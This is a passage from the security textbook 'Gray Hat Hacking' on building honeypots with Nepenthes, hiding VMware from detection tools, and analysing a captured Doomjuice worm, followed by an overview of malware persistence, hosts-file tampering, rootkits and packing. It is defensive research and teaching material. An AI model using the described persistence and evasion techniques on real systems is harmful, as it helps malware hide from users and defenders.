decoy. A honeynet is a collection of systems
posing as a decoy. Another way to think
about it is that a honeynet contains two or
more honeypots as shown here:
Why Honeypots Are Used
There are many reasons to use a honeypot in the enterprise network, including deception
and intelligence gathering.
Deception as a Motive
The American Heritage Dictionary defines deception as “1. The use of deceit; 2. The fact or
state of being deceived; 3. A ruse; a trick.” A honeypot can be used to deceive attackers
and trick them into missing the “crown jewels” and setting off an alarm. The idea here is
to have your honeypot positioned near a main avenue of approach to your crown jewels.
Intelligence as a Motive
Intelligence has two meanings with regard to honeypots: (1) indications and warnings
and (2) research.
Indications and Warnings If properly set up, the honeypot can yield valuable
information in the form of indications and warnings of an attack. The honeypot by definition
does not have a legitimate purpose, so any traffic destined for or coming from the
honeypot can immediately be assumed to be malicious. This is a key point that provides
yet another layer of defense in depth. If there is no known signature of the attack for the
signature-based IDS to detect, and there is no anomaly-based IDS watching that segment
of the network, a honeypot may be the only way to detect malicious activity in the
enterprise. In that context, the honeypot can be thought of as the last safety net in the
network and as a supplement to the existing IDS.
Research Another equally important use of honeypots is for research. A growing
number of honeypots are being used in the area of research. The Honeynet Project is the
leader of this effort and has formed an alliance with many other organizations. Daily,
traffic is being captured, analyzed, and shared with other security professionals. The
idea here is to observe the attackers in a fishbowl and to learn from their activities in
order to better protect networks as a whole. The area of honeypot research has driven the
concept to new technologies and techniques.
We will set up a research honeypot later in this chapter in order to catch some
malware for analysis.
Limitations
As attractive as the concept of honeypots sounds, there is a downside. The disadvantages
of honeypots are as follows.
Limited Viewpoint
The honeypot will only see what is directed at it. It may sit for months or years and not
notice anything. On the other hand, case studies available on the Honeynet home page
describe attacks within hours of placing the honeypot online. Then the fun begins; however,
if an attacker can detect that she is running in a honeypot, she will take her toys and leave.
Gray Hat Hacking: The Ethical Hacker’s Handbook
502
Chapter 20: Collecting Malware and Initial Analysis
503
PART V
Risk
Anytime you introduce another system onto the network there is a new risk imposed.
The amount of risk depends on the type and configuration of the honeypot. The main
risk imposed by a honeypot is the risk a compromised honeypot poses to the rest of your
organization. There is nothing worst than an attacker gaining access to your honeypot
and then using that honeypot as a leaping-off point to further attack your network.
Another form of risk imposed by honeypots is the downstream liability if an attacker
uses the honeypot in your organization to attack other organizations. To assist in managing
risk, there are two types of honeypots: low interaction and high interaction.
Low-Interaction Honeypots
Low-interaction honeypots emulate services and systems in order to fake out the
attacker but do not offer full access to the underlying system. These types of honeypots
are often used in production environments where the risk of attacking other production
systems is high. These types of honeypots can supplement intrusion detection technologies,
as they offer a very low false-positive rate because everything that comes to them
was unsolicited and thereby suspicious.
honeyd
honeyd is a set of scripts developed by Niels Provos and has established itself as the de
facto standard for low-interaction honeypots. There are several scripts to emulate services
from IIS, to telnet, to ftp, to others. The tool is quite effective at detecting scans and
very basic malware. However, the glass ceiling is quite evident if the attacker or worm
attempts to do too much.
Nepenthes
Nepenthes is a newcomer to the scene and was merged with the mwcollect project to
form quite an impressive tool. The value in this tool over Honeyd is that the glass ceiling
is much, much higher. Nepenthes employs several techniques to better emulate services
and thereby extract more information from the attacker or worm. The system is built to
extract binaries from malware for further analysis and can even execute many common
system calls that shellcode makes to download secondary stages, and so on. The system
is built on a set of modules that process protocols and shellcode.
High-Interaction Honeypots
High-interaction honeypots, on the other hand, are often actual virgin builds of operating
systems with few to no patches and may be fully compromised by the attacker. Highinteraction
honeypots require a high level of supervision, as the attacker has full control
over the honeypot and can do with it as he will. Often, high-interaction honeypots are
used in a research role instead of a production role.
Gray Hat Hacking: The Ethical Hacker’s Handbook
504
Types of Honeynets
As previously mentioned, honeynets are simply collections of honeypots. They normally
offer a small network of vulnerable honeypots for the attacker to play with. Honeynet
technology provides a set of tools to present systems to an attacker in a somewhat controlled
environment so that the behavior and techniques of attackers can be studied.
Gen I Honeynets
In May 2000, Lance Spitzner set up a system in his bedroom. A week later the system was
attacked and Lance recruited many of his friends to investigate the attack. The rest, as
they say, is history and the concept of honeypots was born. Back then, Gen I Honeynets
used routers to offer connection to the honeypots and offered little in the way of data
collection or data control. Lance formed the organization honeynet.org that serves a
vital role to this day by keeping an eye on attackers and “giving back” to the security
industry this valuable information.
Gen II Honeynets
Gen II Honeynets were developed and a paper was released in June 2003 on the
honeynet.org site. The key difference is the use of bridging technology to allow the
honeynet to reside on the inside of an enterprise network, thereby attracting insider threats.
Further, the bridge served as a kind of reverse firewall (called a “honeywall”) that offered
basic data collection and data control capabilities.
Gen III Honeynets
In 2005, Gen III Honeynets were developed by honeynet.org. The honeywall evolved
into a product called roo and greatly enhanced the data collection and data control
capabilities while providing a whole new level of data analysis through an interactive
web interface called Walleye.
Architecture
The Gen III honeywall (roo) serves as the invisible front door of the honeynet. The
bridge allows for data control and data collection from the honeywall itself. The
honeynet can now be placed right next to production systems, on the same network segment
as shown here:
Data Control
The honeywall provides data control by restricting outbound network traffic from the
honeypots. Again, this is vital to mitigate risk posed by compromised honeypots attacking
other systems. The purpose of data control is to balance the need for the compromised
system to communicate with outside systems (to download additional tools or
participate in a command-and-control IRC session) against the potential of the system
to attack others. To accomplish data control, iptable (firewall) rate-limiting rules are
used in conjunction with snort-inline (intrusion prevention system) to actively modify
or block outgoing traffic.
Data Collection
The honeywall has several methods to collect data from the honeypots. The following
information sources are forged together into a common format called hflow:
• Argus flow monitor
• Snort IDS
• P0f—passive OS detection
• Sebek defensive rootkit data from honeypots
• Pcap traffic capture
Data Analysis
TheWalleye web interface offers an unprecedented level of querying of attack and forensic
data. From the initial attack, to capturing keystrokes, to capturing zero-day exploits
of unknown vulnerabilities, the Walleye interface places all of this information at your
fingertips.
As can be seen in Figure 20-1, the interface is an analyst’s dream. Although the author
of this chapter served as the lead developer for roo, I think you will agree that this is “not
your father’s honeynet” and really deserves another look if you are familiar with Gen II
technology.
There are many other new features of the roo Gen III Honeynet (too many to list
here) and you are highly encouraged to visit the honeynet.org website for more details
and white papers.
Chapter 20: Collecting Malware and Initial Analysis
505
PART V
Thwarting VMware Detection Technologies
As for the attackers, they are constantly looking for ways to detect VMware and other
virtualization technologies. As described in the references by Liston and Skoudis, there
are several techniques used.
Tool Method
redPill Stored Interrupt Descriptor Table (SIDT) command retrieves the Interrupt
Descriptor Table (IDT) address and analyzes the address to determine
whether VMware is used.
Scoopy Builds on SIDT/IDT trick of redPill by checking the Global Descriptor Table
(GDT) and the Local Descriptor Table (LDT) address to verify the results of
redPill.
Doo Included with Scoopy tool, checks for clues in registry keys, drivers, and other
differences between the VMware hardware and real hardware.
Jerry Some of the normal x86 instruction set is overridden by VMware and slight
differences can be detected by checking the expected result of normal
instruction with the actual result.
VmDetect VirtualPC introduces instructions to the x86 instruction set. VMware uses
existing instructions that are privileged. VmDetect uses techniques to see if
either of these situations exists. This is the most effective method and is
shown next.
Gray Hat Hacking: The Ethical Hacker’s Handbook
506
Figure 20-1 The Walleye web interface of the new roo
Chapter 20: Collecting Malware and Initial Analysis
507
PART V As Liston and Skoudis briefed in a
SANS webcast and later published, there are some
undocumented features in VMware that are quite effective at eliminating the most commonly
used signatures of a virtual environment.
Place the following lines in the .vmx file of a halted virtual machine:
isolation.tools.getPtrLocation.disable = "TRUE"
isolation.tools.setPtrLocation.disable = "TRUE"
isolation.tools.setVersion.disable = "TRUE"
isolation.tools.getVersion.disable = "TRUE"
monitor_control.disable_directexec = "TRUE"
monitor_control.disable_chksimd = "TRUE"
monitor_control.disable_ntreloc = "TRUE"
monitor_control.disable_selfmod = "TRUE"
monitor_control.disable_reloc = "TRUE"
monitor_control.disable_btinout = "TRUE"
monitor_control.disable_btmemspace = "TRUE"
monitor_control.disable_btpriv = "TRUE"
monitor_control.disable_btseg = "TRUE"
CAUTION Although these commands are quite effective at thwarting redPill,
Scoopy, Jerry, VmDetect, and others, they will break some “comfort”
functionality of the virtual machine such as the mouse, drag and drop, file
sharing, clipboard, and so on. These settings are not documented by
VMware—use at your own risk!
By loading a virtual machine with the preceding settings, you will thwart most tools
like VmDetect.
References
Honeynet Organization www.honeynet.org/
Lance Spitzner, Honeypots: Tracking Hackers (Addison-Wesley Pub Co, 2002) www.trackinghackers.
com
Patch for VMware http://honeynet.rstack.org/tools/vmpatch.c
Good info on detecting honeypots www.securityfocus.com/infocus/1826
Gray Hat Hacking: The Ethical Hacker’s Handbook
508
Virtual Machine Detection www.sans.org/webcasts/show.php?webcastid=90652
VmDetect tool www.codeproject.com/system/VmDetect.asp
VM Detection http://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf
Catching Malware: Setting the Trap
In this section, we will set up a safe test environment and go about catching some
malware. We will run VMware on our host machine and launch Nepenthes in a virtual
Linux machine to catch some malware. To get traffic to our honeypot, we need to open
our firewall or inmy case, to set the IP of the honeypot as theDMZhost onmy firewall.
VMware Host Setup
For this test, we will use VMware on our host and set our trap using this simple
configuration:
CAUTION There is a small risk in running this setup;we are now trusting this
honeypot within our network. Actually,we are trusting the Nepenthes
program to not have any vulnerabilities that can allow the attacker to gain
access to the underlying system. If this happens, the attacker can then attack
the rest of our network. If you are uncomfortable with that risk, then set up a honeywall.
VMware Guest Setup
For our VMware guest we will use the security distribution of Linux called BackTrack,
which can be found at www.remote-exploit.org. This build of Linux is rather secure and
well maintained. What I like about this build is the fact that no services (except bootp)
are started by default; therefore no dangerous ports are open to be attacked.
Using Nepenthes to Catch a Fly
Youmay download the latest Nepenthes software from http://nepenthes.mwcollect.org.
The Nepenthes software requires the adns package, which can be found at www.chiark
.greenend .org.uk/~ian/adns/.
PART V
To install Nepenthes on BackTrack, download those two packages and follow these
steps:
NOTE As of the writing of this chapter, Nepenthes 0.2.0 and adns 1.2 are the
latest versions.
BT sda1 # tar -xf adns.tar.gz
BT sda1 # cd adns-1.2/
BT adns-1.2 # ./configure
BT adns-1.2 # make
BT adns-1.2 # make install
BT adns-1.2 # cd ..
BT sda1 # tar -xf nepenthes-0.2.0.tar.gz
BT sda1 # cd nepenthes-0.2.0/
BT nepenthes-0.2.0 # ./configure
BT nepenthes-0.2.0 # make
BT nepenthes-0.2.0 # make install
NOTE If you would like more detailed information about the incoming
exploits and Nepenthes modules, turn on debugging mode by changing
Nepenthes’s configuration as follows: ./configure –enable-debug-logging
Now that you have Nepenthes installed, youmay tweak it by editing the nepenthes.conf
file.
BT nepenthes-0.2.0 # vi /opt/nepenthes/etc/nepenthes/nepenthes.conf
Make the following changes: uncomment the submit-norman plug-in. This plug-in will
e-mail any captured samples to the Norman Sandbox and the Nepenthes Sandbox
(explained later).
// submission handler
"submitfile.so", "submit-file.conf", "" // save to disk
"submitnorman.so", "submit-norman.conf", ""
// "submitnepenthes.so", "submit-nepenthes.conf", "" // send to downloadnepenthes
Now you need to add your e-mail address to the submit-norman.conf file:
BT nepenthes-0.2.0 # vi /opt/nepenthes/etc/nepenthes/submit-norman.conf
as follows:
submit-norman
{
// this is the address where norman sandbox reports will be sent
email "youraddresshere@yourdomain.com";
Chapter 20: Collecting Malware and Initial Analysis
509
Gray Hat Hacking: The Ethical Hacker’s Handbook
510
urls ("http://sandbox.norman.no/live_4.html",
"http://luigi.informatik.uni-mannheim.de/submit.php?action=
verify");
};
Finally, you may start Nepenthes.
BT nepenthes-0.2.0 # cd /opt/nepenthes/bin
BT nepenthes-0.2.0 # ./nepenthes
...ASCII art truncated for brevity...
Nepenthes Version 0.2.0
Compiled on Linux/x86 at Dec 28 2006 19:57:35 with g++ 3.4.6
Started on BT running Linux/i686 release 2.6.18-rc5
[ info mgr ] Loaded Nepenthes Configuration from
/opt/nepenthes/etc/nepenthes/nepenthes.conf".
[ debug info fixme ] Submitting via http post to
http://sandbox.norman.no/live_4.html
[ info sc module ] Loading signatures from file
var/cache/nepenthes/signatures/shellcode-signatures.sc
[ crit mgr ] Compiled without support for capabilities, no way to run
capabilities
As you can see by the slick ASCII art, Nepenthes is open and waiting for malware. Now
you wait. Depending on the openness of your ISP, this waiting period might take minutes
to weeks. On my system, after a couple of days, I got this output from Nepenthes:
[ info mgr submit ] File 7e3b35c870d3bf23a395d72055bbba0f has type MS-DOS
executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed
[ info fixme ] Submitted file 7e3b35c870d3bf23a395d72055bbba0f to sandbox
http://luigi.informatik.uni-mannheim.de/submit.php?action=verify
[ info fixme ] Submitted file 7e3b35c870d3bf23a395d72055bbba0f to sandbox
http://sandbox.norman.no/live_4.html
Initial Analysis of Malware
Once you catch a fly (malware), youmay want to conduct some initial analysis to determine
the basic characteristics of the malware. The tools used for malware analysis can
basically be broken into two categories: static and live. The static analysis tools attempt
to analyze a binary without actually executing the binary. Live analysis tools will study
the behavior of a binary once it has been executed.
Static Analysis
There are many tools out there to do basic static malware analysis. You may download
them from the references. We will cover some of the most important ones and perform
static analysis on our newly captured malware binary file.
PEiD
The first thing you need to do with a foreign binary is determine what type of file it is.
The PEiD tool is very useful in telling you if the file is a Windows binary and if the file is
compressed, encrypted, or otherwise modified. The tool can identify 600 binary signatures.
Many plug-ins have been developed to enhance its capability.We will use PEiD to
look at our binary.
We have confirmed that the file is packed with UPX.
UPX
To unpack the file for further analysis, we use the UPX tool itself.
Now that the file is unpacked, we may continue with the analysis.
Strings
To view the ASCII strings in a file, run the strings command. Linux comes with the
strings command; the Windows version can be downloaded from the reference.
C:\>strings.exe z:\7e3b35c870d3bf23a395d72055bbba0f >foo.txt
C:\>more foo.txt

.text
.data

Chapter 20: Collecting Malware and Initial Analysis
511
PART V
InternetGetConnectedState
wininet.dll
USERPROFILE
%s%s
c:\
Gremlin
Soft%sic%sf%sind%ss%sr%sVe%so%sun
ware\M

ww%sic%ss%s%so%c

KERNEL32.DLL
ADVAPI32.dll
GetSystemTime
SetFileAttributesA
GetFileAttributesA
DeleteFileA
CopyFileA
CreateMutexA
GetLastError

lstrlenA
Sleep

ReadFile
CreateFileA

RegOpenKeyExA
RegCloseKey
RegSetValueExA
wsprintfA
!"#&(+,-./0123456789=>?@ABCDPQ
As we can see in the preceding, the binary makes several windows API calls for directories,
files, registries, network calls, and so on. We are starting to learn the basic functions
of the worm such as those marked in boldface:
• Network activity
• File activity (searching, deleting, and writing)
• Registry activity
• System time check and wait (sleep) for some period
• Set a mutex, ensuring that only one copy of the worm runs at a time
Reverse Engineering
The ultimate form of static analysis is reverse engineering; we will save that subject for
the next chapter.
Live Analysis
We will now move into the live analysis phase. First, we will need to take some
precautions.
Gray Hat Hacking: The Ethical Hacker’s Handbook
512
Chapter 20: Collecting Malware and Initial Analysis
513
PART V
Precautions
Since we are about to execute the binary on a live system, we need to ensure that we contain
the virus to our test system and that we do not contribute to the malware problem
by turning our test system into an infected scanner of the Internet.We will use our trusty
VMware to contain the worm. After we upload the binary and all the tools we need to a
virgin build of Windows XP, we make the following setting changes to contain the
malware to the system:
As another precaution, it is recommended that you change the local network settings of
the virtual guest operating system to some incorrect network. This precaution will protect
your host system from becoming infected while allowing network activity to be
monitored. Then again, you are running a firewall and virus protection on your host,
right?
Repeatable Process
During the live analysis, you will be using the snapshot capability of VMware and
repeating several tests over and over until you figure out the behavior of the binary. The
following represents the live analysis process:
• Set up file, registry, and network monitoring tools (establish a baseline).
• Save a snapshot with VMware.
• Execute the suspect binary.
• Inspect the tools for system changes from the baseline.
• Interact with binary to fake DNS, e-mail, and IRC servers as required.
• Revert the snapshot and repeat the process.
For the rest of this section, we will describe common tools used in live analysis.
NOTE We had to place an .exe file extension on the binary to execute it.
Regshot
Before executing the binary, we will take a snapshot of the registry with Regshot.
After executing the binary, we will take the second snapshot by clicking the 2nd shot
button and then compare the two snapshots by clicking the cOmpare button. When the
analysis was complete, we got results like this:
From this output, we can see that the binary will place an entry in the registry HKLM\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\.
The key name Gremlin points to the file C:\WINDOWS\System32\intrenat.exe. This
is a method of ensuring the malware will survive reboots because everything in that registry
location will be run automatically on reboots.
Gray Hat Hacking: The Ethical Hacker’s Handbook
514
FileMon
The FileMon program is very useful in finding changes to the file system. Additionally,
any searches performed by the binary will be detected and recorded. This tool is rather
noisy and picks up hundreds of file changes by a seemingly idle Windows system. Therefore
be sure to clear the tool prior to executing the binary, and “stop capture” about
10 seconds after launching the tool. Once you find the malware process in the logs, you
may filter on that process to cut out the noise. In our case, after running the binary and
scrolling through the logs, we see two files written to the hard drive: intrenat.exe and
sync-src-1.00.tbz.
The number of file changes that a single binary can make in seconds can be overwhelming.
To assist with the analysis,we will save the output to a flat text file and parse through
it manually.
By searching for the CREATE tag, we were able to see even more placements of the file
sync-src-1.00.tbz.
2334 3:12:40 PM 7e3b35c870d3bf2:276 CREATE C:\sync-src-1.00.tbz
SUCCESS
Options: OverwriteIf Access: All
2338 3:12:41 PM 7e3b35c870d3bf2:276 CREATE C:\WINDOWS\sync-src-1.00.tbz
SUCCESS Options: OverwriteIf Access: All
2344 3:12:41 PM 7e3b35c870d3bf2:276 CREATE C:\WINDOWS\System32\sync-src-
1.00.tbz SUCCESS Options: OverwriteIf Access: All
2351 3:12:41 PM 7e3b35c870d3bf2:276 CREATE
C:\DOCUME~1\Student\LOCALS~1\Temp\sync-src-1.00.tbz SUCCESS
Options: OverwriteIf Access: All
2355 3:12:41 PM 7e3b35c870d3bf2:276 CREATE C:\Documents and
Settings\Student\sync-src-1.00.tbz SUCCESS Options: OverwriteIf Access:
All
What is the sync-src-1.00.tbz file and why is it being copied to several directories? After
further inspection, it appears to be source code for some program. Hmm, that is suspicious;
why would the attacker want that source code placed all over the system, particularly
in user profile locations?
Chapter 20: Collecting Malware and Initial Analysis
515
PART V
Gray Hat Hacking: The Ethical Hacker’s Handbook
516
Taking a look in that archive, we find inside the main.c file the following string:
“sync.c, v 0.1 2004/01.” A quick check of Google reveals that these files are the source
code for the MyDoom virus.
You can also see in the source code an include of the massmail.h library. Since we don’t
see any e-mail messaging API calls, it appears that our binary is not compiled from the
source; instead it contains the source as a payload.
That’s really odd. Perhaps the attacker is trying to ensure that he is not the only one
with the source code of this MyDoom virus. Perhaps he thinks that by distributing it
with this second worm, it will make it harder for law enforcement agencies to trace the
code back to him.
Process Explorer
The Process Explorer tool is very useful in examining running processes. By using this
tool, we can see if our process spawns other processes. In this case, it does not. However,
we do see multiple threads, which probably are used for network access, registry access,
or file access.
Another great feature of this tool is process properties, which include a list of network
sockets.
This tool is also useful for finding strings contained in the binary.
TCPView
The TCPView tool can be used to see network activity.
Chapter 20: Collecting Malware and Initial Analysis
517
PART V
As you can see, the malware appears to be attempting to scan our subnet for other
infected machines on port 3127. At this point we can Google “TCP 3127” and find out
that port is used by the MyDoom worm as a backdoor.
With our limited knowledge at this point, it appears that our malware connects to
existing MyDoom-infected victims and drops a copy of the MyDoom source code on
those machines.
Malware Analyst Pack (iDefense)
The iDefense labs offer a great set of tools called the Malware Analyst Pack (MAP). The
following tools are contained in the MAP:
ShellExt Four explorer extensions that provide right-click context menus
socketTool Manual TCP client for probing functionality
MailPot Mail server capture pot
fakeDNS Spoofs dns responses to controlled IPs
sniff_hit HTTP, IRC, and DNS sniffer
sclog Shellcode research and analysis application
IDCDumpFix Aids in quick reverse engineering of packed applications
Shellcode2EXE Embeds multiple shellcode formats in .exe husk
GDIProcs Detects hidden process by looking in GDISharedHandleTable
Although they are not particularly useful for this malware, you may find these tools
useful in the future. For example, if the malware you are analyzing tries to send e-mails,
connect to an IRC server, or flood a web server, these tools can safely stimulate the
malware and extract vital information.
Norman Sandbox Technology
We have saved the best for last. As you saw earlier in the Nepenthes section, we set up
Nepenthes to automatically report binaries to the Norman Sandbox. The Norman
Sandbox site receives the binary and performs automated analysis to discover files contained,
registry keys modified, network activity, and basic detection of known viruses.
The Sandbox actually simulates the execution of the binary in a sandbox (safe) environment
to extract the forensic data. In short, sandboxes do everything we did, and more, in
an automated fashion and provide us with a report in seconds. The report is quite
impressive and offers unprecedented “first pass” information that will tell us some basic
data about our captured binary within seconds.
As expected, after the earlier output from Nepenthes, we got the following e-mail
from sandbox@eunet.no:
Your message ID (for later reference): 20070112-3362
Hello,
Gray Hat Hacking: The Ethical Hacker’s Handbook
518
Chapter 20: Collecting Malware and Initial Analysis
519
PART V
Thanks for taking the time to submit your samples to the Norman Sandbox
Information Center.

nepenthes-7e3b35c870d3bf23a395d72055bbba0f-index.html : W32/Doomjuice.A
(Signature: Doomjuice.A)
[ General information ]
* Decompressing UPX.
* File length: 36864 bytes.
* MD5 hash: 7e3b35c870d3bf23a395d72055bbba0f.
[ Changes to filesystem ]
* Creates file C:\WINDOWS\SYSTEM32\intrenat.exe.
* Deletes file C:\WINDOWS\SYSTEM32\intrenat.exe.
* Creates file C:\sync-src-1.00.tbz.
* Creates file N:\sync-src-1.00.tbz.
* Creates file C:\WINDOWS\sync-src-1.00.tbz.
* Creates file C:\WINDOWS\SYSTEM32\sync-src-1.00.tbz.
* Creates file C:\WINDOWS\TEMP\sync-src-1.00.tbz.
* Creates file C:\DOCUME~1\SANDBOX\sync-src-1.00.tbz.
[ Changes to registry ]
* Creates value "Gremlin"="C:\WINDOWS\SYSTEM32\intrenat.exe" in key
HKLM\Software\Microsoft\Windows\CurrentVersion\Run".
[ Network services ]
* Looks for an Internet connection.
* Connects to "192.168.0.0" on port 3127 (TCP).
* Connects to "CONFIGURED_DNS" on port 3127 (TCP).
* Connects to "192.168.0.2" on port 3127 (TCP).
* Connects to "192.168.0.3" on port 3127 (TCP).
* Connects to "192.168.0.4" on port 3127 (TCP).

* Connects to "230.90.214.20" on port 3127 (TCP).
* Connects to "230.90.214.21" on port 3127 (TCP).
* Connects to "230.90.214.22" on port 3127 (TCP).
* Connects to "230.90.214.23" on port 3127 (TCP).
[ Process/window information ]
* Creates a mutex sync-Z-mtx_133.
* Will automatically restart after boot (I'll be back...).
[ Signature Scanning ]
* C:\WINDOWS\SYSTEM32\intrenat.exe (36864 bytes) : Doomjuice.A.

(C) 2004-2006 Norman ASA. All Rights Reserved.
The material presented is distributed by Norman ASA as an information source
only.
Wow, this report has quite useful information, confirms all of our findings, and indicates
that we have captured a variant of the Doomjuice.A worm (which exploits existing
MyDoom victims). We can see the basic steps the worm performs. In fact, in many cases,
the sandbox report will suffice and save us from having to manually analyze the malware.
NOTE You might have noticed the Nepenthes configuration files also send a
copy of the malware to the Nepenthes sandbox at luigi.informatik.unimannheim.
de. You may remove that destination from the submit-norman.conf
file if you like.
What Have We Discovered?
It appears that the binary we captured was indeed a form of malware called a worm. The
malware has been classified by the virus companies as the first of the Doomjuice family
of worms (Doomjuice.A). The purpose of the worm appears to be to connect to already
infected MyDoom victims. First, it creates a mutex to ensure that only one copy of the
malware runs at a time. Next, it protects itself by making a registry entry for reboots.
Then it drops a copy of the source code for the MyDoom virus in several locations on the
system. Next, the worm begins a methodical scan to look for other infected MyDoom
victims (which listen on port TCP 3127).
CAUTION Without reverse engineering, you are not able to determine all the
functionality of the binary. In this case, as can be confirmed on Google, it turns
out there is a built-in denial-of-service attack on microsoft.com but we were
not able to discover it with static and live analysis alone. The DoS attack is
only triggered in certain situations.
References
www.grayhathackingbook.com
Lenny Zeltser’s famous paper www.zeltser.com/reverse-malware-paper/
PEiD Tool http://peid.has.it/
PE Tools www.uinc.ru
UPX http://upx.sourceforge.net/download/upx203w.zip
Strings www.microsoft.com/technet/sysinternals/utilities/Strings.mspx
System Internals Tools www.microsoft.com/technet/sysinternals/
Processesandthreadsutilities.mspx
RegShot www.snapfiles.com/download/dlregshot.html
iDefense Malware Analysis Pack http://labs.idefense.com/software/malcode.php
Norman Sandbox http://sandbox.norman.no/
Gray Hat Hacking: The Ethical Hacker’s Handbook
520
CHAPTER21 Hacking Malware
• Current trends in malware
• De-obfuscating malware
• Reverse engineering malware
Why are we bothering to discuss malware in a book about hacking? One reason is that
malware is so pervasive today that it is all but impossible to avoid it. If you know anything
at all about computer security, you are likely to be asked for advice on how to deal
with some malware-related issue—from how to avoid it in the first place, to how to
clean up after an infection. Reverse engineering malware can help you understand the
following:
• How the malware installs itself in order to develop de-installation procedures.
• Files associated with malware activity to assist in cleanup and detection.
• What hosts the malware communicates with to assist in tracking the malware to
its source. This can include the discovery of passwords or other authentication
mechanisms in use by the malware.
• Capabilities of the malware to understand the current state of the art or to
compare with existing malware families.
• How to communicate with the malware as a means of understanding what
information the malware has collected or as a means of detecting additional
infections.
• Vulnerabilities in the malware that may allow for remote termination of the
malware on infected machines.
Trends in Malware
Like any other technology, malware is growing increasingly sophisticated. Malware
authors seek to make their tools undetectable. Virtually every known offensive technique
has been incorporated into malware to make it more difficult to defend against.
While it is rare to see completely new techniques appear first in malware, malware
authors are quick to adopt new techniques once they are made public, and quick to
adapt in the face of new defensive techniques.
521
Gray Hat Hacking: The Ethical Hacker’s Handbook
522
Embedded Components
Malware authors often seek to deliver several components in a single malware payload.
Such additional components can include kernel level drivers designed to hide the presence
of the malware, and malware client and server components to handle data
exfiltration or to provide proxy services through an infected computer. One technique
for embedding these additional components within Windows malware is to make use
of the resource sections within Windows binaries.
NOTE The resources section within a Windows PE binary is designed to
hold customizable data blobs that can be modified independently of the
program code. Resources often include bitmaps for program icons, dialog box
templates, and string tables that make it easier to internationalize a program
through the inclusion of strings based on alternate character sets.
Windows offers the capability to embed custom binary resources within the resource
section. Malware authors have taken advantage of this capability to embed entire binaries
such as additional executables or device drivers into the resource section. When the
malware initially executes, it makes use of the LoadResource function to extract the
embedded resource from the malware prior to saving it to the local hard drive.
Use of Encryption
In the past it was not uncommon to see malware that used no encryption at all to hinder
analysis. Over time malware authors have jumped on the encryption bandwagon as a
means of obscuring their activities, whether they seek to protect communications or
whether they seek to prevent disclosure of the contents of a binary. Encryption algorithms
seen in the wild range from simple XOR encodings to compact ciphers such as the Tiny
Encryption Algorithm (TEA), and occasionally more sophisticated ciphers such as DES.
The need for self-sufficiency tends to restrict malware to the use of symmetric ciphers,
which means that decryption keys must be contained within the malware itself. Malware
authors often try to hide the presence of their keys by further encoding or splitting the keys
using some easily reversible but hopefully difficult to recognize process. Recovery of any
decryption keys is an essential step for reverse engineering any encrypted malware.
User Space Hiding Techniques
Malware has been observed to take any number of steps to hide its presence on an
infected system. By hiding in plain sight within the clutter of the Windows system directory
using names that a user might assume belong to legitimate operating system components,
malware hopes to remain undetected. Alternatively, malware may choose to
create its own installation directory deep within the install program’s hierarchy in an
attempt to hide from curious users. Various techniques also exist to prevent installed
antivirus programs from detecting a newly infected computer. A crude yet effective
method is to modify a system’s hosts file to add entries for hosts known to be associated
with antivirus updates.
NOTE A hosts file is a simple text file that contains mappings of IP address to
hostnames. The hosts file is typically consulted prior to performing a DNS
lookup to resolve a hostname to an IP address. If a hostname is found in the
hosts file, the associated IP is used, saving the time required to perform a DNS
lookup. On Windows systems, the hosts file can be found in the system directory under
system32\drivers\etc. On Unix systems, the hosts file can be found at /etc/hosts.
The modifications go so far as to insert a large number of carriage returns at the end of
the existing host entries before appending the malicious host entries in the hopes that
the casual observer will fail to scroll down and notice the appended entries. By causing
antivirus updates to fail, new generations of malware can go undetected for long periods.
Typical users may not notice that their antivirus software has failed to automatically
update, as warnings to that effect are either not generated at all or are simply dismissed
by unwitting users.
Use of Rootkit Technology
Malware authors are increasingly turning to the use of rootkit techniques to hide the presence
of their malware. Rootkit components may be delivered as embedded components
within the initial malware payload as described earlier, or downloaded as secondary stages
following initial malware infection. Services implemented by rootkit components include
but are not limited to process hiding, file hiding, key logging, and network socket hiding.
Persistence Measures
Most malware takes steps to ensure that it will continue to run even after a system has
been restarted. Achieving some degree of persistence eliminates the requirement to reinfect
a machine every time the machine is rebooted. As with other malware behaviors,
the manner in which persistence is achieved has grown more sophisticated over time.
The most basic forms of persistence are achieved by adding commands to system startup
scripts that cause the malware to execute. On Windows systems this evolved to making
specific registry modifications to achieve the same effect.
NOTE The Windows registry is a collection of system configuration values
that detail the hardware and software configuration for a given computer. A
registry contains keys, which loosely equate to directories; values, which
loosely equate to files; and data, which loosely equates to the content of those
files. By specifying a value for the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run registry key, for example, a program can be named to start
each time a user logs in.
Other registry manipulations include installing malware components as extensions
to commonly used software such as Windows Explorer or Microsoft Internet Explorer.
More recently, malware has taken to installing itself as an operating system service or
Chapter 21: Hacking Malware
523
PART V
Gray Hat Hacking: The Ethical Hacker’s Handbook
524
device driver so that components of the malware operate at the kernel level and are
launched at system startup.
Reference
Alisa Shevchenko www.net-security.org/article.php?id=1028
Peeling Back the Onion—De-obfuscation
One of the most prevalent features of modern malware is obfuscation. Obfuscation is the
process of modifying something so as to hide its true purpose. In the case of malware,
obfuscation is used to make automated analysis of the malware nearly impossible and to
frustrate manual analysis to the maximum extent possible. There are two basic ways to
deal with obfuscation. The first way is to simply ignore it, in which case your only real
option for understanding the nature of a piece of malware is to observe its behavior in a
carefully instrumented environment as detailed in the previous chapter. The second way
to deal with obfuscation is to take steps to remove the obfuscation and reveal the original
“de-obfuscated” program, which can then be analyzed using traditional tools such as
disassemblers and debuggers. Of course, malware authors understand that analysts will
attempt to break through any obfuscation, and as a result they design their malware with
features designed to make de-obfuscation difficult. De-obfuscation can never be made
truly impossible since the malware must ultimately run on its target CPU; it will always be
possible to observe the sequence of instructions that the malware executes using some
combination of hardware and software tools. In all likelihood, the malware author’s goal
is simply to make analysis sufficiently difficult that a windowof opportunity is opened for
the malware in which it can operate without detection.
Packer Basics
Tools used to obfuscate compiled binary programs are generically referred to as packers. This
term stems from the fact that one technique for obfuscating a binary program is simply to
compress the program, as compressed data tends to look far more random, and certainly
does not resemble machine language. For the program to actually execute on the target
computer, it must remain a valid executable for the target platform. The standard approach
taken by most packers is to embed an unpacking stub into the packed program and to modify
the program entry point to point to the unpacking stub. When the packed program executes,
the operating system reads the new entry point and initiates execution of the packed
program at the unpacking stub. The purpose of the unpacking stub is to restore the packed
